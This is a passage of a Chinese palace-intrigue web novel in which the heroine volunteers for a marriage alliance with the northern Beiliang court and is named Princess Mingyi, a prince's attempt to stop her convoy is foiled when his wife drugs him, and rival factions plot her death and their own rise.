就在内务府准备继续起程时,乐阑珊忽然开口:“我有一事相求。”
内侍一愣:“何事?”
“求见宁王。”
这四个字,让场面骤然一静。
内侍面露难色,却不敢直接拒绝。歌舞坊虽为官属,却也不敢怠慢宁王的名号,更何况——他们早已暗中得了叮嘱。
片刻后,马车转向宁王府。
宁王府门前,朱门高阙。
乐阑珊下了车,未作通传,径直在府门前跪下。
青石冰冷,寒意透骨。
她背脊笔直,目光平视府门,声音清晰而坚定:“罪籍乐氏,求见宁王殿下。”
门内很快有了动静。
片刻后,府门缓缓开启。
裴曦的贴身侍卫谭欣站在阶上,似乎已经等在那里有段时间了。
“进来吧。”
乐阑珊带着忐忑的心情,跟着谭欣进了书房。
书房内,檀香袅袅。
裴曦示意乐阑珊起身,却没有立刻开口,只静静看着她。
“看来你是看明白本王的信了。”裴曦道。
“是。”
乐阑珊没有绕弯,径直跪下,再次叩首。
“殿下,眼下局势,最省兵、最快、也最能稳住北凉的法子,只有一条。”
她抬起头,目光清亮,没有一丝退缩。
“和亲。”
裴曦呼吸微不可察地一滞。
“奴婢自愿和亲北凉。”
第62章 晋封“明怡公主”
书房内,檀香袅袅,却压不住陡然凝滞的空气。
裴曦的目光落在乐阑珊身上,没有惊讶,只有深沉的、近乎悲悯的了然。
他缓缓放下手中的茶盏,瓷底与紫檀木案几相触,发出极轻却清晰的一声“嗒”。
“你可知,‘自愿’二字,意味着什么?”裴曦的声音比平日更沉静,“不是简单的远嫁,不是寻常的和亲。北凉王廷,新可汗年轻新继位不久,拓跋王叔把持朝政,主战派气焰正盛。你以‘戴罪之身’、‘假公主’之名前去,无强大母国实时军威为倚仗,无真正皇室血缘为纽带,处境将比在歌舞坊更为凶险,每一步都可能粉身碎骨。”
乐阑珊保持着跪姿,背脊却挺得笔直,仿佛能承受千钧重压。她抬起头,眸光清亮,不见惧色,只有一片破釜沉舟的冷静。
“殿下所言,奴婢明白。”她的声音不高,却字字清晰,“歌舞坊是沉沦,等于慢慢腐烂,于奴婢自身是绝路,于大局无益。而和亲北凉,纵是刀山火海,却是险中求活之路。”
裴曦的眼底极快地掠过一丝激赏,随即被更深的复杂情绪覆盖。
她看得很透,甚至比他预想的更锐利。
她顿了顿,声音更低,却更坚定:“这是奴婢目前所能想到的,唯一可能触及‘护国公旧案’真相与北凉关系的途径。祖父当年镇守北境,对北凉知之甚深,此去,或许冥冥之中自有安排。”
这番话,已远远超出一个深闺女子或罪奴的格局。裴曦沉默良久,终于缓缓起身,走到她面前。
“你想清楚了?此去,或许死无葬身之地,更或许身败名裂。”
“奴婢早已身败名裂。”乐阑珊嘴角扯出一抹极淡的弧度,苦涩却坚毅,“至于身后名,若家人能得清白,若能为国略尽绵力,何足道哉。”
裴曦深深地看着她,终于点头:“好。本王会即刻进宫,向陛下陈情。”
……
御书房内,气氛比乐阑珊想象中更为诡谲。
裴曦刚刚陈述完乐阑珊“自愿和亲、以谋转圜”的请求,殿外便接连传来通传——平王裴衍、豫王裴惔求见。
昭帝眉头微蹙,还是宣了进来。
裴衍面色沉郁,眼下带着青黑,显然未曾安眠。
他一进殿,甚至不及细听裴曦说到何处,便撩袍跪下:“父皇!儿臣恳请父皇收回成命!乐阑珊……乐氏罪奴,不宜和亲!儿臣愿纳其为侧室,严加管束,绝不令其再惹事端!求父皇开恩!”
他言辞急切,甚至带着一丝不易察觉的痛楚,仿佛这是最后挽回的机会。
几乎同时,裴惔也笑嘻嘻地开口,语气却有些轻佻:“父皇,四弟刚刚有了正妃,不宜立刻纳房。那罪奴好歹有几分颜色和技艺,充入儿臣府中做个舞姬,也算物尽其用,何必送去北凉,平白让人笑话我大昭无人,要用个贱婢充公主?”
“荒唐!”昭帝猛地一拍御案,龙颜震怒。
他锐利的目光先扫过裴衍,“纳侧室?你当朕的旨意是儿戏?她现在是待罪之身,入贱籍,你堂堂亲王,纳一个贱籍罪奴为侧室,皇家的脸面还要不要?”
接着又瞪向裴惔,怒斥,“舞姬?北凉军情紧急,国事当前,你脑子里就只剩下这些污糟心思?朕看你是太清闲了!”
裴衍被斥得脸色发白,咬牙还想再辩,却见昭帝眼中寒光凛冽,终究将话咽了回去。
裴惔则讪讪地摸了摸鼻子,不敢再言。
昭帝胸口起伏,显然被两个儿子不成器的样子气得不轻。他看向一直安静立于一旁的裴曦,语气稍缓,却带着疲惫:“宁王,你继续说。”
裴曦这才从容续道,将乐阑珊的自请、其中可能蕴含的微弱机会、以及当前局势下不得已的权衡,冷静客观地分析了一遍。
他没有夸大乐阑珊的作用,只强调这是一个“死马当活马医”、“或许能意外搅动北凉内部平衡”的险招。
昭帝听完,久久不语。
他何尝不知这是下策,甚至是**之策。
但正如裴曦所言,前线惨
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败,国库空虚,主战派拓跋势大,短期内大昭已无再战之力。需要一个缓冲,哪怕这个缓冲看起来如此脆弱和不堪。
“太后驾到——”殿外忽传唱。
齐太后扶着苏嬷嬷的手,缓步而入,脸色平静。她显然已得知了风声。
“皇帝,”太后开门见山,“乐氏女的自请,哀家听说了。”
“母后有何懿旨?”昭帝问。
齐太后的目光扫过殿中诸子,最后落在虚空处,仿佛透过殿宇看到了那个在寿宴上舞出江山的倔强身影。
她缓缓道:“哀家以为,此女有胆魄,有心志。与其让她在贱籍中磋磨至死,或留在京中徒惹纷争,不如让她去北凉。她既自愿,便给了她这条险路。成,或许能为我大昭争得一线生机,也能全了她为国为民之心;败,也不过是她的命数。总好过,让我大昭的好女儿,在自家的地盘上被糟践殆尽。”
太后的话,语气平和,却带着一种历经沧桑后的冷酷与决断。她没有反对,反而以一种超越个人情感的高度,赞同了这个看似**的决定。
昭帝眼中闪过深思。太后的态度,无疑加重了这个方案的分量。他最终闭了闭眼,再睁开时,已是一片帝王的决然。
“拟旨。”
……
圣旨下达,震动京城。
“罪奴乐氏阑珊,虽身负罪籍,然心念家国,自愿请行,以柔化刚,其志可嘉。特赦其一切罪责,削去旧籍,赐国姓,册封为明怡公主,择日和亲北凉,许配北凉拓金可汗。望其克谨妇德,绥靖边陲,永固两国之好。”
乐阑珊接旨时,已换上了一身临时赶制的、并不十分合体的公主吉服。
她跪在冰冷的石板上,听着“明怡公主”四个字,心中无悲无喜,只有一片尘埃落定的空旷。
她知道,从这一刻起,“乐阑珊”某种程度上已经**,活下来的是“明怡公主”,一件即将被送往北凉的**礼物。
然而,圣旨的墨迹未干,京城的**却已沸反盈天。
第63章 后悔这种东西,太晚了
朝堂之上,九龙金殿。
昭帝和众臣商讨“明怡公主和亲北凉”的具体方案。
“父皇!儿臣反对公主和亲!”
一直沉默立于武官前列的裴衍,猛地跨出一步,声音如同金石相击,砸碎了殿内虚伪的平静:
此言一出,满殿死寂。
昭帝脸色骤沉:“三万?奇袭王庭?裴衍,你是被边关风雪冻坏了脑子,还是被京中那些荒谬谣言扰乱了心神?”
“谣言”二字,昭帝咬得极重。
近日京城沸反盈天的“朝廷无能、靠罪女和亲”的议论,早已传入深宫。
昭帝冰冷的目光扫过文官队列中垂首不语的邓尚书,又掠过几位眼神闪烁的言官,最终钉在裴衍身上:
“那些流言蜚语,说朕无能,说朝廷软弱,正盼着有个‘热血悍将’跳出来,替他们把这潭水搅得更浑!你可知,你此刻的莽撞,正是中了某些人的下怀!”
裴衍一震,但被愤怒与不甘冲昏的头脑仍未清醒,继续固执道:“儿臣只知,堂堂男儿不该用女子换取安宁!请父皇准战!”
“够了!”昭帝勃然震怒,一掌拍在龙案上,“朕意已决!和亲乃为大局,为百姓喘息之机!你再敢妄言,便去宗正寺清醒几日!退朝!”
……
俪贵妃寝宫,气氛异常紧迫。
裴衍脸上的指痕尚未消退。
俪贵妃已失了平日从容,压低的声音里满含火气:“衍儿,今日在朝堂上的蠢话,一句顶一万句!陛下本就疑心重,北凉新败已损你圣眷,如今京城谣言四起,矛头直指朝廷怯懦,你主动去当那个‘主战’的靶子,是怕陛下不疑你拥兵自重,还是怕那些躲在暗处的人,找不到机会把你彻底拉下马?”
她逼近一步,眼底是毫不掩饰的惊怒与算计:“我不管你是真被那**迷了心窍,还是被什么人用流言架在了火上!立刻给我收起所有心思!乐阑珊必须走,和亲必须成!这不仅是为了眼前局面,更是为了你的将来!再敢妄动,别说东宫,你这亲王之位保不保得住都难说!”
裴衍猛地抬眼,捕捉到母亲话中深意:“此话何意?母妃知道什么?”
俪贵妃眼神微闪,旋即恢复冷厉:“我知道的是,这宫里宫外,想你死、想你失势的人多的是!管好你自己!”
她拂袖背身,不再多言,裴衍心头却是疑云骤起。
……
瑞王府,暗室。
烛光摇曳,映着裴诚半明半暗的脸。
侍卫洛易低声道:“王爷,流言已按计划扩散。“
“平王今日在朝堂上已然言辞激烈,触怒圣颜。”裴诚把玩着一枚玉佩,嘴角噙着一丝冰冷的笑意。
“我那四哥,最是骄傲,又对乐阑珊存着那点可笑的不甘。京中越是骂朝廷软弱,骂和亲**,他便越会觉得送乐阑珊走是奇耻大辱,越会冲动……很好。”
他指尖一收,“水浑了,才好看清底下藏着什么鱼虾,也才方便摸鱼。”
洛易迟疑:“只是,此举是否会过于冒险?若陛下深查流言源头……”
裴诚轻笑道:“源头?流言如风,起于青萍之末,散于市井之间。即便查到几个无关紧要的散播者,又能如何?我要的,就是四哥失态,父皇对他更添不满,朝臣觉得他冲动难托大事。更要让乐阑珊走得‘轰轰烈烈’,让所有人都记住,她是背负着怎样的‘国耻’之名去的北凉。”
他眼中幽光闪烁,“绝境,往往才能逼出最大的潜力,和最意想不到的变数。乐阑珊,别让我失望。”
……
夜色如墨。
临时公主府的后院静得出奇,枯树在风中摇曳,枝影投在白墙上,像一张张张牙舞爪的剪影。
乐阑珊立在廊下,未着华服,一身素白,仿佛与繁华无缘。
侍女来报:“平王殿下求见。”
她沉默片刻,才道:“请他进来。”
裴衍踏入院中时,脚步明显一顿。
他仍穿着白日的朝服,未换未整,衣角沾着尘土与酒气,眉眼间的锋锐早已被连日的失眠与愤怒磨得支离破碎。那双曾在战场上镇住千军的眼,此刻却红得骇人。
两人隔着几步的距离对立,谁也没有先开口。
良久,裴衍哑声道:“京城里的话……你都听见了。”
“听见了。”乐阑珊语气平静,“骂朝廷的,骂陛下的,还有骂我的。”
她抬眸看向他,月光映在眼底,却没有一丝波澜。
“他们骂得很难听。”他的声音低了下去。
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“他们说的不算错。”乐阑珊淡淡道。
裴衍猛地抬头:“你——”
“至少,在世人眼中,是这样。”她打断他,“所以,骂名早晚都要背。我只是选了一个,对自己、也对别人稍微有用一点的背法。”
裴衍怔住了。
“阑珊,”他向前一步,语气里第一次透出近乎哀求的意味,“别去。只要你不走,这些骂名,我替你扛。”
她看着他,忽然轻声问了一句:
“王爷,你扛得住吗?”
裴衍一滞。
“你要扛的,不只是百姓的唾骂。”她语速不快,却字字清晰,“还有朝臣的猜忌,陛下的疑心,北凉的威胁,邓家的反扑。还有——你自己。”
她停顿了一瞬,才继续:
“你心里很清楚,这条路,你走不稳。”
裴衍的拳头在袖中缓缓收紧,指节发白。
“我可以去求父皇。”他说,“我去跪。一天不行就十天,十天不行就一年。我不信他真能眼睁睁看着——”
“看着什么?”乐阑珊轻声反问,“看着你,为了一个已经判了贱籍的女子,把自己送上风口浪尖?”
她的目光终于冷了下来。
“王爷,你今日在朝堂上已经做过一次了。”
这句话,如同一柄冷刀,精准地刺进裴衍心口。
他脸色瞬间灰败。
“当初在府门前,风雪里,我等过你。”
“杂役司三年,我等过你。”
“邓馨儿指我害嗣,你不信我,我也等过你。”
她一字一句,说得极稳。
“如今我不等了,你却要我回头?”
裴衍的呼吸乱了。
“是我错了……”他低声道,声音几不可闻,“我知道我错了。”
他抬眼看她,那里面有悔,有痛,还有一种近乎崩塌的恐惧。
“阑珊,我后悔了。”
“可后悔这种东西,”乐阑珊轻声道,“太晚了。”
夜风掠过,她的衣袖轻轻一动,像是要被风带走。
裴衍忽然伸手,想抓住什么,却在她冷静的目光下,停在了半空。
她看着他,语气忽然变得异常平静:“王爷,若我此去,不是为和亲,而是为送命,你还会拦我吗?”
第64章 我们的目标,此刻一致
夜,深得仿佛能吞没一切声响。
裴衍回到平王府时,府内死寂。他没有点灯,独自坐在书房的黑暗里,窗外的月光惨白地铺在地板上,映出他绷紧如石的侧影。
乐阑珊那双平静无波的眼睛,那句“若我此去,是为送命”的诘问,反复在他脑中碾过,带来一阵阵窒息般的钝痛。
悔恨与无力感几乎要将他撕碎,但骨子里那份属于武将的执拗和不甘,却在绝望中滋生出最后一点疯狂的念头。
不能就这样让她走。
绝不能!!!
他猛地起身,走到**前,手指重重划过京城通往北境的官道,眼神逐渐变得锐利而偏执。
“周叔。”他低声唤道。
老管家悄无声息地出现,脸上带着忧虑:“王爷。”
“去挑三十名……不,二十名最精锐的暗卫,要绝对可靠,身手顶尖的。”裴衍的声音压得极低,带着破釜沉舟的寒意,“让他们扮作商旅或流民,分批潜出城,在落雁坡一带集结待命。准备绊马索、迷烟、易容之物。三日后,公主车驾必经北坳坡,那里山势险峻,林密路窄……”
他没再说下去,但周叔已然倒吸一口凉气:“王爷!您这是要……劫和亲车队?这可是形同谋逆啊!”
“本王管不了那么多了!”裴衍一拳砸在地图上,眼中血丝密布,“难道真要眼睁睁看她去送死?拓跋是什么人?北凉王庭是什么地方?她去了,连骨头都剩不下!罪名我来担,后果我来受!你只管去办!”
周叔看着他几乎疯魔的样子,老泪纵横,跪了下来:“王爷三思啊!此事若败,您便是万劫不复!若成……公主又岂能逃脱干系?陛下震怒,北凉问责,公主怕是……死得更快更惨啊!”
这番话像冰水浇头,让裴衍僵在原地。
他痛苦地闭上眼,是啊,他就算劫了她,又能带她去哪里?天下之大,何处能容得下劫持了和亲公主的亲王?他不仅护不住她,反而会把她拖入更深的深渊。
“那你说……我该怎么办?”他的声音沙哑破碎,像个迷路的孩子。
周叔无言以对,书房内只剩下压抑的喘息声。
良久,裴衍缓缓睁开眼,那里面只剩下一种孤注一掷的狠绝:“……先按我说的准备。容我再想想……总会有办法的。”
他像是在说服自己,又像是在对抗整个压下来的命运。
同一轮冷月下,临时公主府内却灯火通明。
乐阑珊没有睡。她坐在镜前,看着铜镜中的自己,盛装华服、却面色苍白。
指尖抚过冰冷沉重的发冠,她知道,裴衍绝不会轻易放弃。
那个男人骄傲、固执,被悔恨冲昏头脑时,什么事都做得出来。
劫车?抗旨?他真做得出来。然后呢?一起死?或者生不如死?
她不能让他这么做。不仅是为了他那岌岌可危的前程,更是为了她心中那点微弱的、连自己都不愿承认的,不想看他陪葬的念头。
“来人。”她轻声唤道。
小媛应声而入。
由乐阑珊特别请求,小媛如今做了她的贴身侍女,准备一起和亲去北凉。
“去平王府,递个话给侧王妃……不,平王妃。”
乐阑珊的语气平静无波,“就说,明怡公主,请她过府一叙,有要事相商,关乎王爷安危与前程。请她务必独自前来,莫要声张。”
小媛惊愕抬头,但对上乐阑珊不容置疑的目光,只得领命而去。
邓馨儿踏入公主府偏厅时,心中充满了狐疑、警惕,以及一丝不易察觉的优越感。
她已是名正言顺的平王妃,而对方,不过是即将远嫁、顶着虚名的“公主”。
但当她对上乐阑珊的眼睛时,那份优越感瞬间冻结。
那是一双太过平静、太过通透的眼睛,仿佛能洞悉她所有的心思。
“王妃请坐。”乐阑珊亲自为她斟茶,动作优雅,仿佛两人仍是旧日闺中,未曾有过那些你死我活的龃龉。
邓馨儿没有碰那杯茶,冷声道:“公主深夜相邀,有何指教?若是为了王爷,大可不必。王爷自有本妃照料。”
乐阑珊微微一笑,那笑容里没有嘲讽,只有一种深沉的疲惫:“王妃真的以为,你管得住他吗?”
邓馨儿脸色一变。
“王爷的性子,你我皆知。他认准
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的事,九头牛也拉不回。”
乐阑珊慢慢转动着手中的茶杯,“尤其是当他认为,这件事关乎道义、尊严,以及……对我的亏欠时。他此刻,想必正在筹划如何在我离京的路上,截下车队吧。”
邓馨儿指尖一颤,脸色大变,很快又强自镇定:“荒谬!王爷岂会如此不顾大局!”
“他会。”
乐阑珊斩钉截铁,“正因为他是平王,母妃是俪贵妃。俪贵妃宠冠六宫,平王自小就得陛下特别宠爱,自是任意挥洒随意。“
见邓馨儿没有答话,便继续说道:
“王妃,你比我更清楚,他若真做了,会是什么后果。劫持和亲公主,形同叛国。不仅他性命不保,王爵难存,整个平王府,包括王妃你,以及邓尚书府,都会受到牵连。邓家如今如日中天,陛下正愁没有打压邓家的借口,这便是送上门的机会。”
每一句话,都像重锤敲在邓馨儿心上。她脸色发白,呼吸急促起来。乐阑珊说的,正是她最深层的恐惧。父亲也反复叮嘱过,绝不能让裴衍再因乐阑珊生出事端!
“你……你想怎样?”邓馨儿的声音干涩。
“合作。”乐阑珊吐出两个字,清晰无比,“我需要平安离开京城,去完成我的使命。你需要王爷平安留在京城,保住他的地位,也保住你邓家的富贵。我们的目标,此刻一致。”
邓馨儿难以置信地看着她:“你……你不恨我?不报复我?反而要与我合作?”
“恨?”乐阑珊嘴角牵起一丝极淡的弧度,眼中却无甚笑意,“恨太累了。我现在只想往前走。至于报复……王妃,让你余生守着对你心存芥蒂、甚至可能因我之死而彻底崩溃的王爷,看着他为你带来的家族荣耀而强颜欢笑,看着你的正妃之位永远烙着我的影子……这算不算一种更持久的报复?”
邓馨儿浑身一颤,像被**刺中。乐阑珊的话,精确地刺中了她心底的焦虑。
“所以,合作对我们都好。”乐阑珊倾身向前,声音压得更低,“明日便是起程之日。我需要王爷‘安静’地留在府中,直到车队走远。王妃自然知道该如何做。”
第65章 一步迟,步步迟
她拿出一个极小的纸包,推到邓馨儿面前。
邓馨儿盯着那纸包,手指颤抖着,内心剧烈挣扎。给王爷下药,这是大忌!可是……乐阑珊说的每一个字,都敲在她的要害上。
保住王爷,就是保住她自己的一切。
乐阑珊必须走,走得越远越好,永远别再回来!
良久,她猛地伸出手,一把抓过纸包,紧紧攥在手心,指甲几乎要嵌进肉里。
她抬起头,眼中闪烁着复杂的光芒,有狠绝,有恐惧,也有一种孤注一掷的决断。
“好。我答应你。”她咬牙道,“但你要发誓,此生此世,永不回大昭!永远别再出现在王爷面前!”
乐阑珊平静地看着她,缓缓道:“我发誓。此去北凉,无论生死,我与裴衍,与京城,与过往一切,恩断义绝,再无瓜葛。”
她的语气太过平淡,反而让这誓言显得更加决绝和悲凉。邓馨儿心头莫名一悸,竟不敢再看她的眼睛,匆匆起身,几乎是逃离了公主府。
起程之日,天色阴霾。
送亲仪式在皇宫前举行,隆重而压抑。
昭帝并未亲临,由礼部主持。
乐阑珊——明怡公主,身着大红嫁衣,头戴沉重珠冠,面覆金丝流苏,在礼乐声中,一步步登上华贵的凤辇。
百姓被远远隔开,议论声、叹息声、隐约的咒骂声,汇成一片模糊的嘈杂背景音。无数道目光投来,有好奇,有鄙夷,有同情,但都与车中人无关了。
出乎许多人意料的是,送亲正使,竟是宁王裴曦。
他一身亲王正服,面容依旧带着病弱的苍白,但身姿挺拔,举止从容。
对着凤辇微微颔首,他目光平静温和,仿佛只是送别一位普通的皇室姐妹,去完成一桩寻常的使命。
唯有在转身登上前导车驾时,眼底深处掠过一丝极淡的、无人能懂的复杂情绪。
“吉时到——!启程——!”
礼炮轰鸣,鼓乐再起。庞大的和亲车队缓缓启动,如同一道沉重而华丽的伤口,缓缓移出京城的大门,驶向北方遥远而未知的荒原。
车轮碾过青石板路的声响,单调而持久,仿佛碾在每个人的心头。
平王府内,日上三竿。
裴衍猛地从昏沉中惊醒,头痛欲裂。窗外刺目的阳光让他瞬间意识到不对!这个时辰……这个时辰!
“来人!什么时辰了?”他嘶吼着翻身下床,却因药力残留和急火攻心,踉跄着几乎摔倒。
周叔慌慌张张跑进来,老脸惨白:“王、王爷……已是巳时三刻了……”
“巳时三刻……”裴衍如遭雷击,脸色瞬间惨白如纸,“公主和亲车队呢?”
“早、早已出城……此刻怕是已走出二十里外了……”
“啊——!”裴衍吼了一声,一把推开周叔,甚至连外袍都来不及穿,只着中衣,赤着脚就疯狂地冲了出去!
“王爷!王爷!您的鞋!您的马!”周叔和侍卫们在后面追赶呼喊。
裴衍什么都听不见了。
他脑子里只有一个念头:追上去!拦住她!哪怕只看一眼!他像疯了一样冲出府门,夺过门口一名侍卫的马,甚至等不及备鞍,直接翻身上去,狠狠一夹马腹!
“驾——!”
骏马吃痛,长嘶一声,箭一般射向城门方向。
街道上的行人惊慌失措地躲避,裴衍鬓发散乱,目中充血,状若疯魔,心中只有一个方向——北门!
风在耳边呼啸,景物飞速**。
他不停地鞭打马匹,恨不得插翅而飞。心脏在胸腔里疯狂擂动,带着濒临爆裂的恐慌和悔恨。
为什么睡得那么沉?为什么?
冲出北城门,官道延伸向远方,空空荡荡,只有零星的商旅和扬起的淡淡尘土。
没有华丽的车队,没有送亲的仪仗,什么都没有。
“阑珊——”
他勒住马,对着空旷的官道和灰蒙蒙的天际,发出了一声呐喊。声音在旷野中回荡,最终消散在风里,没有回应。
还是晚了。
一步迟,步步迟。
他颓然从马上滑落,跌坐在冰冷的尘土中,望着北方天际那已然看不见的车辙印,整个人像是被抽走了所有的骨头和魂魄。
一如三
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年前,得知乐府被炒,乐阑珊被贬为罪奴,罚入杂役司。
城墙上,裴诚的目光始终跟着和亲队伍远去,直到完全看不见了踪影。
此时,他是惟一一个还矗立在那里的人,望着天际发呆。
乐阑珊终于还是走了,他的心好像被剐去了一半。
忍住心底的痛,他情不自禁地对着茫茫蓝天说道:“阑珊,我们一定还会见面的·!”
平王府内,邓馨儿正心神不宁地绞着帕子。
“王妃!不好了!”秀清慌慌张张跑进来,脸色煞白,“王爷、王爷醒了!他抢了马,赤着脚就往北门冲出去了!周管家他们拦都拦不住!”
“什么?!”
邓馨儿手中的茶盏“哐当”一声砸在地上,热水溅湿了她的裙角,她却浑然不觉,只觉一股寒意从脚底直窜头顶。
她下的药分量明明足够让裴衍睡到午后!他竟提前醒了,还这般不管不顾地追出去……若是被陛下知道,若是他在官道上闹出事端,若是……
邓馨儿不敢再想下去,声音都变了调:“快!快去尚书府请我父亲!立刻!就说有十万火急之事,关乎王府存亡!”
不到半个时辰,邓尚书便匆匆赶至。
听完女儿语无伦次的叙述,这位宦海沉浮数十年的老臣脸色阴沉得能滴出水来。
书房门紧闭,邓尚书的声音压得极低,却字字如刀:“糊涂!你给他下药已是险棋,如今他这般疯魔地追出去,若被御前的人看见,一个‘对和亲公主念念不忘、抗旨不遵’的罪名他如何担当得起!更别说陛下本就因北凉战事对他不满!”
“父亲,现在说这些有什么用!”邓馨儿急得眼圈发红,“王爷要是真追上车队,做出什么不可挽回的事……”
“他追不上。车队巳初出发,此刻已走出三十里外。他就算插翅也难追。”
顿了顿,邓尚书眼中寒光闪烁,“我担心的,不是他今日追不追得上,而是他这份心思不断,后患无穷!”
他在书房中踱着步,口中喃喃地说着:“此女若活着,终是个变数。”
第66章 她是儿臣冰窟中的热气
邓尚书府的密室,烛火将两道身影投在冰冷的石壁上,拉长、扭曲,犹如蛰伏的鬼魅。
邓馨儿手中的绢帕已被绞得变形,父亲方才的话语仍在耳中嗡鸣——“灭顶之灾”。
她看着父亲从暗格中取出那只陈旧的锦匣,看着他指尖抚过那些脆黄信笺边缘时,眼中一闪而过的、连自己都未曾见过的恐惧。
那不是对某个人的忌惮,而是对过往深渊的回望。
“所以,她不能留。”邓馨儿的声音干涩,却已无半分犹豫,只剩下一种坠入冰窟后的清醒与狠绝,“不只是为了王爷,更是为了邓家满门。”
邓尚书缓缓点头,将锦匣锁回暗处,那“咔哒”一声轻响,仿佛命运的齿轮被再次扣紧。
“北凉路途,便是最好的葬身之地。拓跋王叔性情暴虐,不敬中原礼法,一个‘病弱受辱、羞愤自戕’的和亲公主,合情合理。”他顿了顿,眼中精光闪烁,“为父会安排人,混入送亲队伍或北凉边镇。此事,你只当不知。”
邓馨儿起身行礼,裙摆拂过冰冷地面。
走出密室时,她回头看了一眼那面嵌着暗格的书架,父亲的身影在烛光后半明半暗。
她忽然想起许多年前,自己还是闺中少女时,曾羡慕乐阑珊那般将门虎女的飒爽风光。如今,她却要亲手将那份风光,连同其主人在世上的最后痕迹,一同抹去。
窗外的天,阴得更沉了。风穿过庭树枝丫,发出呜咽般的声响。
几乎在同一时刻,瑞王府的马车碾过宫道湿润的青石板,驶入即将落钥的皇城。
裴诚踏入祥嫔寝宫时,脚步带着不易察觉的滞重。
殿内只一盏青玉宫灯,忽明忽暗的光晕将母亲刺绣的身影温柔包裹。她绣的是寒梅,茜色花瓣在素绢上浓烈得几乎刺眼。
“母妃。”他开口,声音沙哑,像是被今日北城门的风沙砺伤了喉咙。
祥嫔没有抬头,银针稳稳刺入绢面:“回来了。”
不是问句,是陈述。她似乎早知道他会来,也早知道他魂不守舍。
裴诚在绣墩坐下,目光却没有落在绣品上,而是望着窗外那片沉甸甸的黑暗。
殿内很寂静,他都能听见自己血液流动的微响,以及胸腔里某种空洞的回音。
良久,裴诚才开口,声音很轻,像是怕惊动了什么:“母妃,您说……这宫里,是不是从来就容不下一点真心实意的暖和?”
祥嫔的针尖几不可察地顿了一下。
裴诚并不需要回答,他像是打开了某个封闭已久的闸口,压抑了整日——或许更久——的情绪,终于寻到了缝隙。
“儿臣今日站在城墙上,看着她的车驾变成一个小黑点,最后消失在天边。”
他扯了扯嘴角,想做出惯常那副玩世不恭的笑,却只牵出一个苦涩的弧度,
“那时儿臣忽然想起小时候。很多个冬天,我躲在廊柱后面,看着父皇牵着四哥的手,从长长的宫道上走过。父皇的手很大,很暖吧?四哥那时候笑得……真明亮。”
他的眼睛望着天空,似乎回到了过去:“儿臣就在想,若是父皇也能那样牵一牵我的手,哪怕只一次,哪怕只是从我身边经过时,目光能在我身上多停留一瞬……该多好。”
他垂下眼,看着自己骨节分明、却从未被那双至尊之手握过的手掌。
“后来儿臣就不想了。因为知道想了也没用。母妃教儿臣要‘静’,要‘藏’,儿臣都学会了。学会像个影子一样活着,不引人注目,不招人嫉恨,连宫里的猫儿狗儿都比我更有存在感。”
轻轻地自嘲一笑:“那些太监宫女,面上恭敬,背过身去,眼神里的轻慢……儿臣都看得懂。只是习惯了,也就麻木了。”
裴诚的语气平静,甚至没有太多怨怼,只是一种深切的疲惫与荒芜。
“长大以后,儿臣遇见了乐阑珊。”
说到这个名字时,他眼中终于有了一点微弱的光,随即又被更深的黯然覆盖。
“她不一样。她看着我的时候,眼里有‘裴诚’,不
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是‘六皇子’。她会听我说那些无聊的花鸟鱼虫,会在我故意说笑话时,第一个听出我语气里的厌倦。她是惟一懂我的人,就像……像这冰窟里,唯一的热气。”
他深吸一口气,那点微弱的光彻底熄灭了,只剩下冰冷的遗憾。
“可现在,连这一点热气,也被我们自己……被这皇宫,被这天下大势,亲手送走了。送到北凉的风雪里,送到拓跋的刀锋下。母妃,我们这样生存下去,究竟是为了什么?那个位置,儿臣不稀罕。”
他终于说完了。殿内陷入一片更深的寂静。灯花“噼啪”轻爆了一声。
祥嫔一直静静地听着,手中的针早已停下。
她看着儿子,这个自己拼尽一切、用最卑微谨慎的方式护着长大的孩子。他眼中那片与她如出一辙的、在深宫经年累月磨砺出的荒凉底色,还有他心底那丝尚未被完全磨灭的、对“暖”的渴望。
那丝渴望,何其珍贵,又何其危险。
良久,她轻轻放下绣绷,那幅浓艳的寒梅在昏光下显得有几分诡异。她没有立刻回答儿子的质问,而是先问了一个问题:“诚儿,你可知,你父皇为何点了你二皇兄为送亲正使?”
裴诚抬起眼,有些茫然。这与他的感慨似乎并不相干。
“因为曦儿占着‘二皇子’名分,品性无瑕,却体弱多病。”祥嫔的声音恢复了平日的冷静,甚至更添了几分穿透力。
“他留在京中,本身就是一种无声的提醒,提醒陛下某些旧事,也提醒其他有心人一种‘可能’。送他出去,风吹日晒,若是路上……那便是天命;若是平安归来,远离了漩涡中心,也绝了一些人的念想。你父皇这一手,看似随意,实则一石二鸟。”
裴诚:“所以父皇此举,既是保护二皇子,也是让那些觊觎平王权势的人提前试探宫中风向——谁稳,谁乱,全都将在这趟送亲途中露出端倪。”
她顿了顿,目光锐利起来:“那你再想想,你父皇为何当朝痛斥平王?”
第67章 乐阑珊就是钥匙
“四哥冲动,质疑和亲……”
“不只是冲动。”祥嫔打断他,“他在众目睽睽之下,暴露了自己最大的软肋——重情,且能被私情左右判断。一个可能因私废公的皇子,在你父皇眼里,就不再是完美的储君人选。”
祥嫔伸手爱抚着裴诚的发鬓:“陛下近年对宁王的态度反复,你当真以为只是帝王心术难测?不,那是在磨刀,也是在试刀。可惜,宁王今日殿前的表现,只怕让陛下觉得,这把刀……淬火过头,易折。”
裴诚的心慢慢沉了下来。母亲寥寥数语,为他撕开了温情脉脉的皇家面纱。
“至于三皇子、五皇子,”祥嫔的手指轻轻拂过绣品上冰冷的丝线,“一个耽于逸乐,一个庸懦无为,从来不在棋局中央。那么诚儿,你告诉母妃,当陛下逐一审视过他的儿子们,发现要么有瑕,要么无力时,他会看向哪里?”
裴诚呼吸微滞:“父皇会看向一直被忽略的角落。”他缓缓地回过神来,“而儿臣的机会,不在军功,不在圣宠,也不在所谓的‘贤名’。而是在‘变数’,在‘局外’。”
祥嫔威威颌首。
“变数?局外?”裴诚喃喃地咀嚼着两几个字。
然后继续说道:“护国公乐擎的旧案,就是儿臣最大的‘局外’之势。此案是父皇立威的基石,却也可能是他身后名声上的一道裂痕。朝中军中,对此案心存疑虑者众。谁能巧妙地、不伤及陛下身后名的前提下,将这道裂痕弥合一二,谁就能赢得一股庞大而沉默的力量。”
她看着儿子眼中逐渐亮起又极力克制的光芒,接话道:“乐阑珊,就是连接这股力量的钥匙。她若在北凉绝境中活下来,甚至有所作为,那么她带回的,可能不止是性命。”
“是啊,北凉王庭暗流汹涌,当年构陷之事,未必没有北凉的影子,邓家……也未必干净。”裴诚咬着牙说道。
他彻底明白了。
母亲的谋划,深远而冰冷。他感到一阵寒意,却也有一股不甘的火焰在心底窜起。
